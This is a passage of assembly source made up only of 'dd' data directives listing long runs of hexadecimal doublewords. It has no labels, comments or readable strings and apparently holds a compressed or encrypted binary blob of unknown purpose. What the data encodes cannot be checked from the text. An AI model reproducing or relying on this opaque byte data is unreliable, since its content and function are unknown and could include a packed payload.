31359644h, 0FBDB27EFh, 72E5CEDEh, 0E68DDD96h dd 0DFFBF847h, 0BFF80F00h, 82704107h, 8E0A243h, 7C2B84Fh dd 3B868851h, 8F10E1FCh, 4E27C4B8h, 42278771h, 0B8C8BD20h dd 0F1BE37C6h, 1783073Eh, 0A08F7F1Fh, 1C9BCFFEh, 39730EF3h dd 0CAB45C49h, 963C1455h, 0C82E916Fh, 60CBB003h, 0DCE63F96h dd 63C5D2F5h, 0ED415E70h, 2E10EF60h, 708A8382h, 0D253D724h dd 0C934BB53h, 0E1E4DE48h, 55EDA6F4h, 0B8C73B47h, 722EBA78h dd 0A7658BA1h, 0AB5FB196h, 2D8BD686h, 0BB06C90Eh, 7608DFEBh dd 0B60EB5B1h, 0ECB8835Ch, 30AD4515h, 0B5F6CED6h, 0D5D9DD4Bh dd 0E7B6B6C6h, 0DBBAF74Eh, 0E6DC163Dh, 3DC629F6h, 828E980Ah dd 2E6F80B8h, 656F07E0h, 0CAD933C2h, 0C0B30E5Ah, 0C6F8CF17h dd 8DDF9BFFh, 27E4B85Fh, 1042F0AFh, 9F0CE1DCh, 0CE2BE5F8h dd 0FE783EF9h, 33887DF3h, 8770FBE8h, 0F4FE9BD2h, 0C5FD3673h dd 0FF2FF1FFh, 7F17A2F0h, 0CC2F390Ah, 0E2F436DBh, 8D76F6FCh dd 0F4E3CDD9h, 581B4D26h, 0E03EA23Bh, 0AF76EFA6h, 0C899057Ch dd 0E2A4D531h, 7D52B16Ah, 4A7116E5h, 4F4C3736h, 0C5C3E431h dd 0B8B2FAC2h, 0FEADF5FBh, 0CDC47DAFh, 0CE3CDADDh, 0CB61DB45h dd 5D62D576h, 0F62F5BEBh, 7631A837h, 0EADDA7F4h, 8E461588h dd 5C8B9B6Dh, 0F8FB5DC4h, 0BFDEBFC7h, 7F71F7CDh, 800FFFBh dd 7FC0A380h, 609F77Ch, 109C09F8h, 6F764E5Ch, 99099096h dd 0A8106FA0h, 5CD6F86Fh, 9265B6F6h, 979408F0h, 81B81A81h dd 1E07F819h, 0B82081F8h, 81F07B07h, 26825822h, 879E8268h dd 82B7A382h, 0A579E82Ch, 77A482D7h, 778327Ah, 3683506Ch dd 98388378h, 10283683h, 0EF28638Dh, 0D1E62F41h, 4062F01Dh dd 0B8609373h, 0D6988477h, 57A73B7Bh, 0C4743496h, 57C66A67h dd 7D14A538h, 0DC4196E6h, 97F83896h, 0AD77938h, 0E40A57FFh dd 47865316h, 7FE7FD5Ch, 6685B7FFh, 98688678h, 6D377586h dd 537547F5h, 0D86E7547h, 7E676B86h, 0D50D4759h, 98780D40h dd 76487A87h, 877F0632h, 786D76B5h, 0B47750Bh, 86869776h dd 0DFFE85B8h, 380485C6h, 88D88C86h, 9C807863h, 589280E0h dd 9589409h, 9808D6EDh, 0F78E8998h, 89D09108h, 636FC091h dd 56FE08D6h, 70408870h, 27824820h, 78238A98h, 7928208Ah dd 0AA8AC8ACh, 0F8B18B18h, 8B58B406h, 6F8B78B6h, 806E06E0h dd 8BA8B48Bh, 0C08BF8BEh, 0A8BE8C18h, 8C58C483h, 0B41028C4h dd 0C28B3944h, 27F0B30Bh, 4269D282h, 748F73C8h, 7BF7C260h dd 57C17C1h, 77C52754h, 52B5BC6Ah, 49747852h, 15C84196h dd 6E55C186h, 0E45BF6E0h, 56E177D6h, 64F80A78h, 4F096811h dd 90A209A6h, 9F5C180h, 0F888E8E9h, 78648F98h, 7F97790Ah dd 0B46DAh, 98738729h, 0CA75A58h, 78906905h, 79060CA8h dd 5890D50Ch, 0F586D76Ch, 0D76D76D7h, 88490086h, 7B801867h dd 391A8FA7h, 9C8086Eh, 9289191Eh, 391F80E8h, 91F92492h dd 91894921h, 0E0918980h, 70492C08h, 3092F088h, 2F93FE19h dd 47040849h, 93693408h, 83934935h, 93C9320h, 93A08393h dd 0B207F083h, 306F8A98h, 94794694h, 4A8BC822h, 0D0668B69h dd 6B94D94h, 4E950950h, 10670669h, 6506795h, 5A067065h dd 0D95C95B9h, 95F95E95h, 62961960h, 0B1029629h, 4214B654h dd 30A94B0h, 0B0AE4172h, 4956AA5Bh, 711EB84Eh, 0C8DB84E9h dd 38A7CF8Dh, 785BA74Ah, 7D26479h, 8F280A53h, 0F18EE80Bh dd 0B9805C28h, 80788C91h, 2791E91Dh, 189E8969h, 89E6FF09h dd 21895092h, 89239229h, 99799698h, 9809C998h, 0A8658639h dd 91577386h, 0E29100B4h, 70CA5877h, 9A790A0Ch, 869A79A8h dd 9A20C25h, 9A29159Ah, 0B49AE0B9h, 991988A0h, 9B79988Fh dd 0E9239B7h, 0D9BC8958h, 9939929Bh, 9D08D9BDh, 893D08D8h dd 93693F93h, 0CA080084h, 8AF9CB9h, 9CA9CB82h, 59C6709h dd 508081F7h, 9D794B82h, 0D79D99D8h, 0DC9539FEh, 0D9DE9DD9h dd 9E105E94h, 0E49E39E2h, 79E39E59h, 9E99E606h, 0E395B05Eh dd 0F9EE0569h, 9F19F09Eh, 0EE9F39F2h, 65521029h, 96654D4Bh dd 0A20A453Fh, 97D549D4h, 7CD6AA6Ah, 0F3526A02h, 773F8502h dd 7C87D097h, 7D6E3532h, 3A0B6E19h, 6E25C16Eh, 0F48905C2h dd 988158h, 6F20958Ah, 1E64F80Eh, 0F9258F39h, 9C0924A1h dd 2C89D928h, 0F93B08E9h, 8A08A92h, 8EA25931h, 109589E0h dd 9939BC09h, 34993A21h, 5099A35Ah, 8F98F699h, 3C0AB918h dd 29109B2Ah, 0C00B60Ch, 0CAA439A9h, 590F0C00h, 0A499B27Fh dd 0ABA3C9B2h, 39979870h, 926A36A3h, 95099A36h, 5A2CA248h dd 0A5998DA2h, 30A25A59h, 0F9C908A9h, 0A60A609Ch, 0CB078078h dd 0BA638259h, 0A69A6307h, 65A69A64h, 89CAA61Ah, 7407B07h dd 7206F074h, 79DF8B40h dd 0A79A78A7h, 62066A7Ah, 0FA7EA7D0h, 62A80A7h, 0FEA8305Ah dd 84A85A84h, 9A88052Ah, 0A8BA8AA8h, 0F4A8DA8Ch, 0FA8B9F09h dd 4FA9204h, 96A939EEh, 6A98A97Ah, 102056A9h, 9EA9D093h dd 0D5DD093Ah, 93090A9h, 9A0975DAh, 154A4B60h, 9FD9FB0Ah dd 0A47D5418h, 0D38B97A4h, 0AB3AB096h, 458548E1h, 497D7866h dd 65798498h, 8A7895CDh, 7937037h, 65B6EF70h, 5A80FA53h dd 0D8999BE6h, 0ACB93B08h, 0A8AD708h, 908E9307h, 0A5A92C89h dd 0D6AD5AD4h, 79BF89DAh, 9B891FA3h, 4C7FD806h, 910A3EAh dd 0AE2AE20Ch, 0E4A410B6h, 0C9A0914Ah, 0A7A3CA4h, 4CAEDAEAh dd 0A8066E2Ah, 9BDA3698h, 56AF5AD7h, 8A2A92CAh, 0AFBAFA9Ch dd 29A28936h, 0E9C8933Ah, 0A6AA6FA6h, 6A72A63h, 90728B7Bh dd 0B0BB0AB0h, 68B4B09h, 1A72B0FBh, 0B0A8B5A7h, 8094E06Fh dd 9B18A86Ah, 0A7DA81B1h, 83B1BA79h, 8A87052Ah, 0A8DA85A8h dd 26B25B24h, 2A99A8ABh, 0A9304BA9h, 0B2FED04Bh, 30B29B2Dh dd 2A93047Bh, 4FB30B3h, 4FB37047h, 0E6721020h, 5E066966h dd 0A65CE5D7h, 454609AAh, 0AB55C753h, 48B47B46h, 2AAF96DBh dd 0A0D74864h, 80B4F8E4h, 0FA1E09F7h, 6F180E64h, 969BE6F1h dd 0A8A38178h, 70592F81h, 23AD68A2h, 0EA57AD6Ah, 0A2908808h dd 1E9CA936h, 7B9CF8h, 0A6107F08h, 29936082h, 308AB71Ah dd 0AF7A2DB6h, 58B77B74h, 1894AD8Ah, 0ADBA2092h, 0ABAEEA39h dd 3AE59B20h, 0B84B84AEh, 879000B6h, 0BB800B4Bh, 808B80B8h dd 2FB589BBh, 3B7898DAh, 0B7492BB6h, 98082B71h, 89CBB02Bh dd 0B9DB9CB9h, 9FB9B082h, 78B03Bh, 0B0CB06B1h, 0A806DB0Ch dd 9BAABA9Bh, 0BADBA6BAh, 6ABAA06Fh, 20640660h, 0BB5B19A8h dd 0B8BB7BB6h, 0BB27BB9Bh, 0B2E052BBh, 0C0BBFBBEh, 3BC2BC1Bh dd 0B3704BBCh, 0C8BC7BC6h, 6BCABC9Bh, 673B3ABCh, 0E066E671h dd 0C096AC35h, 49D546ABh, 5C65FE35h, 0DABD9A0Dh, 25C464BBh dd 6F764CB5h, 9DBE1BE0h, 2A1D5C20h, 80FB545Ch, 8A1B59h dd 908F8987h, 708A2789h, 3F9CD934h, 0FA27BF39h, 0AC9A5792h dd 65B74898h, 8088A2ABh, 0A600839Ch, 680748A9h, 4B9AA6AAh dd 0C06B9808h, 0AB72082h, 0E9C8A5ECh, 0C0BB9DB9h, 31A30B79h dd 0EA34A54Ah, 0B800A3B7h, 1AAE5915h, 0AC1BB83Ch, 0AED900C1h dd 0E2A3C88Ch, 1AF0AEA6h, 0B92B6189h, 9EB72B63h, 0EC0AC0BBh dd 9CFB9CC0h, 0CAB9AA63h, 9C30C2F9h, 0BA6BA5A6h, 6A06DBABh dd 0DC3CC3B0h, 0C3F064C3h, 0B1C40C3Bh, 0AC44C3DBh, 0C3EBA806h dd 4A061062h, 3B20B18Ch, 0B21B22B2h, 0B8BB9C4Dh, 405AA89Bh dd 0C57BC4B2h, 5AC59C58h, 0DBCBB2DCh, 0BCBC5EC5h, 6205F102h dd 695A05FCh, 8BA8C58Ch, 6AC69075h, 0C07CC69Ch, 81C07F07h dd 1AAC0819h, 0B7058188h, 898BEB89h, 0FF940793h, 69CE941Bh dd 0A6AB0482h, 0B9A827FEh, 73A70C03h, 4B0D9D7Ah, 6B06D8Bh dd 5806A066h, 0A0640659h, 0C8F9E19Eh, 3D065C3Fh, 9C96C39Ch dd 0C3FC3EC3h, 61060060h, 4C9E0570h, 0CA1053B2h, 5D057A88h dd 0FC4AC9C0h, 64CA8C3h, 45C4206Ah, 0FCA9C45Ch, 0C3CCA8CAh dd 10B09BACh, 0C7FB05Bh, 0B9CB9F08h, 75086A29h, 508C095Bh dd 9409409h, 0C4CC309Bh, 1CC3CC5Ch, 8CCBECCh, 9708ECBCh dd 6086B9DBh, 0CCFCBB08h, 0A3080B9Dh, 8B0A074Bh, 0C96072BAh dd 0ADCAFC44h, 0ACAFC99Ch, 0CE105DC4h, 0E2CA105Dh, 7CE6CE5Ch dd 58CE3CEh, 50058CEAh, 0F04ACED0h, 48CF0CEh, 43CF3CF2h dd 7CF6CF50h, 0CF5B2ECFh, 0F6CFAB2Dh, 0BCF2BC1Ch, 0B2D043CFh dd 3E03D03Dh, 703503D0h, 0D09D08D0h, 0C030D09h, 0FD0A030Dh dd 0D11D10D0h, 14D0DD0Fh, 702B030Dh, 0D19D18D1h, 1CD1BD1Ah dd 6D1AD1DDh, 0D21D2002h, 24D23D22h, 7D2601FDh, 0FE9D28D2h dd 0D2BD2AD2h, 64C61D2Bh, 95E963Ch, 8C183595h, 22C6AC6Bh dd 81FC6E8h, 0D3BD3AC7h, 38B5D794h, 8BFF9CB9h, 9D5B69B6h dd 2C84C83h, 0FBA4BA4Ch, 0B0FA6AC7h, 97C88A74h, 0EC3BBB0Ch dd 5EC8FC8h, 8BC9DCA6h, 1057C9EAh, 0CA9C9B06h, 0DDBA9C45h dd 0AC3FCB0Ch, 57D5AC4h, 0ED053CA1h, 0AA89050Ch, 0D6705204h dd 58CA1050h, 7CE5D580h, 0D73D60CAh, 61D62CB0h, 8CB2CB00h dd 0D48B0BCDh, 9CC04A72h, 0F07E07EBh, 8CCCFCCh, 0C208CD84h dd 4CC6CC6Ch, 0D82D8509h, 80B9E086h, 0FD8F082Dh, 0B9907ED7h dd 98CD9CD5h, 4D75CAECh, 0D76CA8D7h, 0EBCE2D76h, 8DA0D9FCh dd 0DA1CE805h, 0EF050CEAh, 7DA8CF3Ch, 41CF6CFh, 0AEDADDACh dd 1DAE03EDh, 0DAADACDBh, 5DAFDABh, 5D13D06Dh, 0DBBDBAD1h dd 0AD12D0Ch, 0C030DBCDh, 0DC3DC202h, 1EDC2DC4h, 9025D1ADh dd 0DCBDCADCh, 0CCDCDDCCh, 1020D2BDh, 3DFED2DDh, 0D2CDD3DDh dd 29DD7DD6h, 3055102Dh, 0D30C63C6h, 6B95B959h, 8C306C0h dd 0C6DD358Ch, 6DC6FC6Dh, 0FDEAD3CCh, 70A932ACh, 6D9CD940h dd 6A70822Bh, 8BB07482h, 71BA49D8h, 4D4C822Ah, 0C89A758Bh dd 0FFDFF951h, 2958C3CDh, 9E10609Eh, 9EB24C9Fh, 8D5BD54Ch dd 0CAC060CAh, 9CD73CDEh, 3C9ED58Ch, 0A8BC5605h, 53D65CEDh dd 0CC9BE120h, 0D77064D9h, 20D9CD61h, 0EE1EE21Eh, 0BADCB3E0h dd 64B06CB4h, 6CBCC2BAh, 0D86D8508h, 2FD87CC1h, 0FD84D8AEh dd 0D8DCCCCCh, 2ECB8B99h, 6A6FCD3Ch, 0D98C47CDh, 40E22CA9h dd 205DD9DEh, 0D9FCE1D6h, 50E47D6Ch, 0EE18CEA0h, 0D67CECD6h dd 0F4CF1058h, 1CF5DB4Ch, 0D03D03DBh, 58E5703Eh, 2D05E59Eh dd 43DB3DBh, 0B7D04DAEh, 5D15D0BDh, 0DC5D1BDCh, 0BCD12DC0h dd 0EDC6D17Dh, 0E6DDCED1h, 70DD4DCCh, 0E72E71Eh, 0D2ADD802h dd 78E7701Ch, 0BE7AE79Eh, 0FE7BFEE7h, 55DDA01h, 0DEE81E80h dd 1065C8DDh, 0D35D3495h, 7C07FD35h, 1E8B0810h, 81CE8E08h dd 39C7AAFCh, 19C69399h, 0AFB93AE9h, 4C829CCh, 606EB06Bh dd 0D7CD7BE2h, 0A8B0BC37h, 5EA4069Bh, 69EA6EAh, 0AAC9BC3Ch dd 7E06C9BEh, 0D58A8CE0h, 0CEAAEABh, 1CB0E0DEh, 0E12EB1EBh dd 0EED65D64h, 0FCF0CF1Ch, 0E4BD67CEh, 43CA4CA1h, 2E41E41Eh dd 0CB1E20CEh, 9EBABC3Bh, 9B06072Eh, 80C3107h, 0D107ED80h dd 7E31E2DCh, 0D8BE2FCCh, 7ED8FCCFh, 0D0739CA0h, 73EDEEDh dd 80EDEEDCh, 0CECE0790h, 0CADC3AE3h, 0EAEC4CDFh, 605DCE0Eh dd 0E4EE48E4h, 4CE4C058h, 9EBDD6CEh, 41CF7DAh, 59DB2E53h dd 0AE5A041Eh, 0DADE5CE5h, 58DACE5Eh, 703903DEh, 35036D0h dd 0ADC5DBAh, 0FDBCF0AFh, 0E6BDC0DBh, 6EE6CDC4h, 3025F13Eh dd 0E73F15DDh, 75E74F18h, 701CD26Eh, 1FE79D2h, 1FF21E7Ch dd 5E81E7FFh, 6F26F2FEh, 95895DF2h, 688C2DFFh, 0FDE6DE5Ch dd 0F31E8EF2h, 507CD3Ah, 6792F347h, 80B01E9h, 1EB6C704h dd 9B04C7E8h, 0F2CB0FC6h, 0BAB0B8C2h, 6E9D0728h, 0B09F47F4h dd 60EA606Dh, 4F4D0650h, 0EABC8DE8h, 0E1EAC9E1h, 0DE14A899h dd 0E09EC1A8h, 5CF5BEB6h, 0AE12EABFh, 0BBEEBBEBh, 0F0BBE048h dd 9E4BE17Ch, 0F69EB8EBh, 0E6CE8C9Eh, 8D76D70Ch, 0C96C46ECh dd 64D7DBADh, 1D939CAAh, 0E2DD83CDh, 0D0ED8F7Ah, 49CBED1Ch dd 79F80EEh, 7FF82EE3h, 0BD96B05Fh, 0E42D9ACAh, 44CE1F6Ch dd 0D053F8BEh, 4AEBBE4h, 0EFEBEDA6h, 2E50E48Eh, 0EFFDB4CFh dd 60F03DADh, 8F9DE5AEh, 0F03F9AE5h, 8F06F05h, 0DF11D0CFh dd 0E6502CD1h, 0BAD18E6Bh, 0CF0BD19Dh, 0DCAF14D1h, 27FB3F19h dd 0ED26DD1Dh, 0FB7FB801h, 0BCFBBFB8h, 0FF22FBCFh, 0E7AFC0FBh dd 201C016h, 7FC604E1h dd 0FC8FC8F2h, 50E8495Bh, 0FE2DF429h, 0FC6CE88Fh, 0FD3FD2F2h dd 2FFD5FD4h, 0CD42C32Fh, 0C699CA07h, 9C075C7Fh, 0AEA48BFEh dd 0DFFEA78Bh, 0A706BEA4h, 706EEA6Eh, 0E03EA5FEh, 0ACF53C90h dd 6F56D58Eh, 0E18E14B2h, 5BF5DEB0h, 4E18EB8Fh, 0CFF04AEFh dd 65DA8F62h, 100F92Fh, 29942045h, 0B94E0D05h, 41E15092h dd 2A110D86h, 0C26184Ch, 0C9153218h, 1198C1A8h, 1C8E1B63h dd 43947CE5h, 401E0E87h, 0F200F280h, 4AD0D293h, 0BE5C8C43h dd 0A588C984h, 0F27E4221h, 478934DCh, 809C4EE7h, 2911E276h dd 32464DA7h, 444A2C61h, 0D2CBA61Ah, 30A70EA5h, 0B05DA85h dd 95038696h, 0E482455Ch, 5DAE56EAh, 3ACD66BBh, 20D8AC44h dd 0F59ACD65h, 5AED5691h, 0BEDC391Fh, 0ED839B85h, 6D6EB5DCh dd 351A8D8h, 2C15DEC6h, 1C05FC56h, 16607058h, 1E16FB7Eh dd 971589Ch, 3C418CC6h, 32591C86h, 2D950F64h, 399CC65Fh dd 9DCE0733h, 0F6FE7F3Dh, 68F441ACh, 9F4DA5D2h, 0B5414D16h dd 0FEFF0B06h, 0DB1D8139h, 0B5DA1549h, 92CED36Dh, 32EE7705h dd 1ACCBBDh, 70CDDC0Eh, 1CEBC3E2h, 0CF9C9E47h, 9DCDE672h dd 0BD0E873Fh, 0D5EA74E4h, 0AE3CF8F9h, 911A4E93h, 1A7BBDCh dd 78FC5E1Fh, 87CDE5F2h, 0FD5E9307h, 21EAF67Ah, 45081C1Eh dd 42956CAh, 98841A09h, 877EBF5Fh, 5D66B7F1h, 8625C022h dd 0B040AB00h, 3EEF8AB6h, 0CA73DEFCh, 50BA84A1h, 2E8B2908h dd 8EA328D2h, 24034238h, 0E9B8F091h, 98FC94A6h, 67112629h dd 0EA6C3CAh, 453140E1h, 3158F238h, 0A4523C0Fh, 86340D03h dd 0A3A8A8C2h, 2A0A5292h, 6A62A2A7h, 0B218AA0Ah, 0BCAD2B0Ah dd 0B02BF222h, 0AE8B3AC6h, 0B262E2B4h, 6C952649h, 6ABBADEBh dd 182F6190h, 31AC5AFAh, 4C33012Dh, 0D3132F31h, 0C6C9B1D2h dd 33334C8Ch, 32CB4CFh, 0B364D735h, 8351364Dh, 54D34E33h dd 364DFE73h, 0AD8CEF3Bh, 0D376DD0Ah, 7A2CB733h, 0E28D6E0Bh dd 50AE4B8Ah, 34450F43h, 7BA2E551h, 0E23A8E2Eh, 373C9470h dd 8D6F03CEh, 232B7CF0h, 3D28DE8Dh, 14F58CAFh, 0F6212F4Ah dd 0A483418h, 4ABD4D53h, 0AA06ABC0h, 0AEFDA18Fh, 81481068h dd 0C03012BEh, 0D0240621h, 82BAACC0h, 0A6818942h, 4D63050h dd 0C22A7205h, 0A8B42689h, 0A3C8DC2h, 4D0E2469h, 99A549B2h dd 5A697256h, 0F13C3E43h, 0A5B69145h, 45144543h, 8AC69192h dd 21430C70h, 683D6108h, 2D63752Ah, 0FF04AA68h, 22C0B5D3h dd 49324575h, 0F2949D28h, 62DD7C2Eh, 64BBAE2Bh, 1705C190h dd 0CC2C04B2h, 52F84A15h, 0CBEBE30h, 0D0C904B3h, 0CACD9344h dd 6298A4DCh, 2D535139h, 0E6378D63h, 0EB8DE3B8h, 3BE433C4h dd 64B3F36Bh, 741502DFh, 6514E350h, 0F9765B9h, 0F00EA34Dh dd 0E68F1D26h, 2DF502F1h, 68BC2F3Dh, 394DBD2Fh, 0C19D5FEh dd 0F530AE2Fh, 1A159D8Ah, 0A753215Ah, 29559530h, 0AC025D6Ah dd 8F8BE900h, 9BED06DDh, 6245E15h, 0B1ACF5ACh, 0C895D6BEh dd 7B26C761h, 0E8AF05D8h, 348AD919h, 0E437662h, 5AD12C3Bh dd 0F12A536Bh, 923F7044h, 0D1190E51h, 0A16F3700h, 55F50C6Ah dd 7C26CAF8h, 0FC8F2158h, 0B78AC5Ah, 25DEDC4Ch, 72219ADDh dd 4BB867C9h, 0C72FCB05h, 2DCD733Ch, 0CB727C9Fh, 0E041A069h dd 0BD261AC1h, 0FE13D274h, 2F87E1ABh, 8B75B8ABh, 2AD362Fh dd 0BDA63D38h, 7635DB76h, 45DD08CDh, 288A33BEh, 64A2889Ch dd 0A2F0B3E1h, 137FE28Ch, 5B95E54Eh, 0F0D13476h, 520F3D0Ch dd 0D9B3CD4Eh, 0E6859EBCh, 47ED7AF9h, 7621283Dh, 0C02255DFh dd 755C87C5h, 0D70BC1ECh, 0CE21F11Ah, 0B02CDF62h, 70AAF5E5h dd 287EABF9h, 53D689A2h, 0F70C42BBh, 0EEDE386h, 4CDB9441h dd 1622643Eh, 780CDEDh, 0FE1A2044h, 5791346Ah, 0F3580BA1h dd 0C2E1DF9Bh, 31F1B892h, 51686BEEh, 773A5C4Bh, 0CE6DCA97h dd 4BB82A83h, 0B9873AE7h, 74709414h, 0EA1D33A6h, 102614B2h dd 2F75C99Ch, 6405535Ch, 0A80AC338h, 0C4378689h, 0B76F0E21h dd 0E9D21E43h, 8210421Fh, 46884EEh, 88910CD8h, 0EF9DF276h dd 93BC3786h, 4F794705h, 5513DEA4h, 4E2A3D36h, 0DB3B3DAFh dd 0E7AF165Eh, 0C149A63Dh, 0ABA416Ah, 4409011h, 86E2632h dd 0F95F8462h, 0AF2456C6h, 3C2C4818h, 740E8B30h, 0D63A03C0h dd 7BEE8ED1h, 0B8D8AEDFh, 0EAFE3647h, 48B3DA6Ch, 91B0B67Ah dd 6E08C9BCh, 0E00225h, 6C220257h, 854504DDh, 12B8519Ch dd 6C2DB7B8h, 0E0600C81h, 0C3FC53A2h, 72715F47h, 9F616482h dd 3EB94519h, 83E5C1C7h, 2A6544A7h, 1330272Dh, 644C4C16h dd 0EE9D31Ah, 5257B0C6h, 0CC2F03C6h, 0B0220561h, 52EE5E4Bh dd 65FCBD86h, 0A0FE232Fh, 4C765D9Ah, 61EC3298h, 1AE87732h dd 88133620h, 34268446h, 25C49363h, 2879112Eh, 0B514994Bh dd 54E24DB9h, 0D1C06691h, 0B3D6A614h, 73922C33h, 6742A767h dd 0AAF0A53Ah, 698D29C0h, 148AB9F2h, 544EA77Ch, 598D0129h dd 0E53E6321h, 96394FB8h, 0ACF72C71h, 90914060h, 81063838h dd 0A843A08Eh, 47606908h, 946FB63Ah, 58633415h, 60C6A6C2h dd 0E9220F75h, 3A45D639h, 0B43437A2h, 40343C8h, 0E0E61E69h dd 41B603C8h, 88CC8381h, 0C9642A8Ch, 5D12602Dh, 5724DABDh dd 78C7982Ch, 4194928Dh, 0FB4E5280h, 0A81CB905h, 53F84B2h dd 0F053506Ah, 40AE9F97h, 5CB829A8h, 0CB530350h, 62006616h dd 78C7999h, 0D64B0960h, 0C28730C5h, 95566AC4h, 418F55B9h dd 0F1AA0200h, 3AC5586Ah, 2C72B1D6h, 81C43EACh, 0D6B07010h dd 0ADD346B5h, 118223BAh, 253C0892h, 98789356h, 0AE1AD402h dd 0BE4DFE89h, 0E0AFD5F6h, 0D4A5A2ACh, 622C4E63h, 0F34768EFh dd 89E84162h, 0D26506CEh, 252BD20h, 4649F258h, 9FF1BA3Dh dd 1C81E044h, 85D08A0Fh, 3C2CA0EAh, 2D050220h, 9A0BD36Bh dd 0A391A185h, 0A7400A81h, 91D21139h, 0ED24A12Dh, 207B6305h dd 21AD9904h, 4B0302A0h, 19526907h, 7343A8A5h, 47706E00h dd 1838227Ah, 45C792B0h, 0CB91726Eh, 0CD65EF04h, 6D2BEA48h dd 9659456Ch, 496BECBAh, 0DA535D5h, 14D4783Ch, 0DFBBC090h dd 0C1786F05h, 0AEEE182Bh, 0D82BBBE0h, 3306380h, 6C418A43h dd 61B55532h, 5598672Eh, 29562FAh, 3AADCC3h, 0B080EBF4h dd 0FCBFD7EEh, 1A042B25h, 0EAF6030h, 4607C0D8h, 0C0F8270h dd 15B0D701h, 0C2004007h, 613C2183h, 8878430Ah, 1267CD93h dd 93576C35h, 1FC3D5E1h, 31164DEEh, 4F44555h, 29FB546Dh dd 0C8C07D55h, 726E0815h, 0E09D9482h, 5052C74Ch, 96723BFEh dd 0E86033B3h, 0AF56BD67h, 2D2FB5F6h, 2AA11C75h, 0B803372Fh dd 3DB5E0CCh, 41923246h, 0FA349639h, 620B6CAAh, 6B8F6E42h dd 54891440h, 516657B8h, 5CBB8D71h, 0B9597426h, 9772E85Bh dd 0C5D9020Bh, 67C93199h, 0ECE3F1F6h, 0ED7D2FA2h, 4C1CCD6Bh dd 3BC54FEAh, 0C06EEFE7h, 0B3C677CEh, 0E74CE99Dh, 3063F3Ch dd 0A040C196h, 0F64B94DBh, 0F2BE30BAh, 1404C0ADh, 2F4668BDh dd 868FBFFAh, 1BF5A474h, 558B4A60h, 74C697C1h, 9AEC11A6h dd 0D3D83817h, 0C418D6Bh, 39610C2Ah, 0A7C31842h, 4B5D70D6h dd 0B7565846h, 0C6AED5DAh, 0A7B360DEh, 55485C5h, 0CF99026Bh dd 5027C47Ch, 826BCEDAh, 9A239041h, 0B483C8E3h, 36066E80h dd 50E7F646h, 50B5DAEBh, 8A4CA757h, 1BB8E6DCh, 0D0720F54h dd 928A4F06h, 2F8DB25Ch, 7151E0BAh, 1415E38Bh, 26053098h dd 5309852Ch, 8595E03Eh dd 0FEE3C07Bh, 0EFDDD986h, 0C5BB8A66h, 8681D91Dh, 766A71D2h dd 649B7612h, 0DBF5806Dh, 0D806FFDFh, 2DDFEBFh, 0BBD9D782h dd 0C2784679h, 85018E13h, 81CEDC37h, 0D8060CAEh, 4E1A6884h dd 0BF17E280h, 0F027A361h, 0FC778E00h, 78F5FF01h, 80EE39C8h dd 0E4C0274Bh, 2794727h, 93729C0Ch, 2FE5DA6Bh, 5C037987h dd 0BC108143h, 0FF36E6C0h, 0BD435B34h, 9CF01A73h, 353CFB06h dd 0C49D53AAh, 0E8DD16C5h, 7E606F45h, 0DAE2A20Eh, 0B840A912h dd 23B0825Ah, 0F4B22F4Ah, 7E44DB20h, 9833D58Bh, 6E5ED403h dd 0C4CABB5h, 0B9773F52h, 7265BF6Bh, 0DA7B46D6h, 3883206Dh dd 9CEB097h, 9506EFFh, 0AB80704Eh, 9702EEDDh, 0D2E1DA81h dd 768AD86Ch, 42C04C57h, 0E5EF0397h, 0F0C18F29h, 0E1C39F87h dd 4AA320C7h, 8FF1DBBEh, 9C58777Fh, 0E337EFADh, 0E777EF3Dh dd 3EF1E5E0h, 0DE7413F7h, 7B9827F3h, 0F9FF45E8h, 0A0FE6C13h dd 0F3B7A5F4h, 70CD0208h, 0F5DEAF3Ch, 0EC7D87AFh, 0F7ABF65h dd 32D0FA08h, 45A2B8D4h, 37DCF21Eh, 0DE8CE33Ah, 3019C7BDh dd 9F13E27Ch, 7E47C7E5h, 0F31E4FF2h, 0F9C02B03h, 0F47E87CFh dd 0EA7D3FA5h, 0AE009F3Bh, 0B4084011h, 0DB9BFDAFh, 7DFE77Ch dd 1741A87Fh, 33F31B03h, 9A8618E8h, 7EA54E80h, 0FDDFA674h dd 0D37A384Bh, 0A8AA8412h, 256ED6Dh, 0A3FDFFBAh, 0A7FE03DEh dd 0CFFFFF85h, 0C013FF8Bh, 6797E01Eh, 10BC81CBh, 0B7F18118h dd 2A4060BCh, 18BD92A9h, 1870C12Ah, 0F312D8C7h, 829FAEF2h dd 0B7F38001h, 0D137EBB9h, 5812382Bh, 3D5A5B38h, 0D23850C8h dd 23D24133h, 414413B8h, 6B37EC0Fh, 0FAD7B6E3h, 82482181h dd 2DBC8419h, 1C1BBC50h, 0BC73C683h, 1FC1981Fh, 9C1F41F0h dd 24C20C1h, 28C20C20h, 0B81BCB1h, 414C13BDh, 1540F3D0h dd 8011BCF4h, 0C29428C2h, 29BCE811h, 0EC2FEB4h, 880EC2C0h dd 0C2E0093Dh, 0AC2F42Eh, 0A430C2F0h, 0C3000921h, 2E433430h dd 4C322194h, 0BDDBDD43h, 37C373E2h, 8807BE1Ch, 3E0BE0C3h dd 96438438h, 0D43C8043h, 804C3DC3h, 3FC3F3EAh, 1440803Ch dd 0C42441C4h, 43C43442h, 54414444h, 8D700000h, 0A00287Fh dd 33ED80B0h, 0C4A44981h, 15C4AC4Ah, 4815C4A0h, 36401740h dd 0F7BFE364h, 1450C503h, 0B5E3F4C5h, 253C9B5Fh, 612997F1h dd 406B8040h, 0B597C3B4h, 63CF425Bh, 0BD1BCF01h, 0CE8BFBCEh dd 180D812Bh, 2A880D81h, 5D8102A8h, 142733B4h, 428C2746h dd 0D742C00Ch, 0BC2E433Bh, 42CB4080h, 61C28C2Bh, 0E4614684h dd 3B4C0D40h, 1C81D8B7h, 0FC1FC220h, 41C3C701h, 77826BC5h dd 0C2046D3h, 0C1F471C7h, 1D81F81Dh, 8C0F3810h, 462468C5h dd 11C27C2Ah, 0B80EC2C8h, 0C7A47980h, 7BC78C79h, 0D47AC78Ch dd 0C65479C7h, 0DCC2E464h, 5805BFEh, 9481C7F0h, 390B4680h dd 84C8443Bh, 6485C854h, 0C8743D80h, 343CC87h, 0A489C890h dd 0C8B48AC8h, 4480348Bh, 0E00248D4h, 0C8F48EC8h, 90C9048Fh dd 0C40C8FCh, 0BEC44680h, 0A2AF803h, 0F8CE8D00h, 8CF00F80h dd 0C6498496h, 10C0C498h, 9D040618h, 9CC01C06h, 6C9CC9D4h dd 0C0649EC0h, 0BA401C9Dh, 0C403BFE0h, 12A49F0Bh, 1812B12Ah dd 